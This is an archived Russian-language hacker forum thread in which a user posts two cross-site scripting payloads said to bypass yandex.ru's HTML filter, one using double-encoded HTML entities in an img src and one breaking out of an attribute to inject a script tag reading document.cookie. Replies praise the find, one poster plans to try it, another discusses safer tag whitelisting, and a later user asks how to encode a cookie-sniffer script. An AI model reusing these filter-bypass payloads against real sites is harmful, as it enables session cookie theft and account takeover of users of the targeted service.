PDA

Просмотр полной версии : XSS в yandex.ru


LittleLamer
13.05.2005, 01:40
Вот на yandex нашёл 2 xss.

1.

<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41">

суть в том, что javascript:alert(document.cookie) кодируется к виду &#..., а потом получившаяся строчка ещё раз кодируется по такому же принципу. Фильтр один раз декодирует src и получится такое:

<img src="javascript:alert(document.cookie)">
это "javascript..." закодированое 1 раз

а это браузер прекрасно поймёт :)

2.

<img src=a"><a id=xxx></a><script>alert(document.cookie);</script><a src=">

синим цветом - alert(document.cookie);
Ошибка фильтра опять в том, что неправильно понимает содержимое src и ещё хуже декодирует строки типа &#...

Майор
13.05.2005, 11:18
круто!
маладца!

Algol
13.05.2005, 13:01
Да... я всегда говорил, что тупые методы защиты от Xss бесполезны....)))

qBiN
13.05.2005, 13:22
LittleLamer что то ник не соответствует действительности! Респект за идею,будем пробовать!

virgoz
06.01.2006, 17:49
Я не понимаю разве трудно профильтровать все с htmlspecilachars? ЗАЧЕМ КАКИЕ-ТО ФИЛЬТРЫ? Или я ошибаюсь?

ZaCo
06.01.2006, 19:02
ты ошибаешься - фича многих почтовых сервантов с веб интерфейсом в том что они позволяют юзать "приемлимые" теги типа <a>,<img> и тд Поэтому основная задача фильтра допустить использование только тегов из списка причем ключевые слова типа javascript,background и тд должны вырезаться или заменяться как в хакере на ЯваСкрИптъ (или что-то типа того) но бага все равно есть=)) Имхо для обеспечения полной безопасности достаточно дать пользователям использовать все теги только по определённому шаблону... например <aПРОБЕЛhref=УРЛ>ТЕКСТ</a> причем УРЛ и ТЕКСТ не должны содержать опасных символов типа ",<,>,'.

pantilxaker
18.01.2006, 13:13
Мне срочно нужно узнать как закодировать скрипт сниффера!!!

SanyaX
18.01.2006, 13:38
Берёшь да кодируешь много программ есть для этого!

pantilxaker
18.01.2006, 16:15
А например?

PinkPanther
18.01.2006, 23:44
Вот скажите мне, накой поднимать старую тему чтоб тока сморознуть какую-то фигню?
Одно дело бы по сабжу хотяб, а то......Неужели "Болталка" для ОФФТОПА уже не годится???????????????????????

ЗАКРЫТО!
/ме злой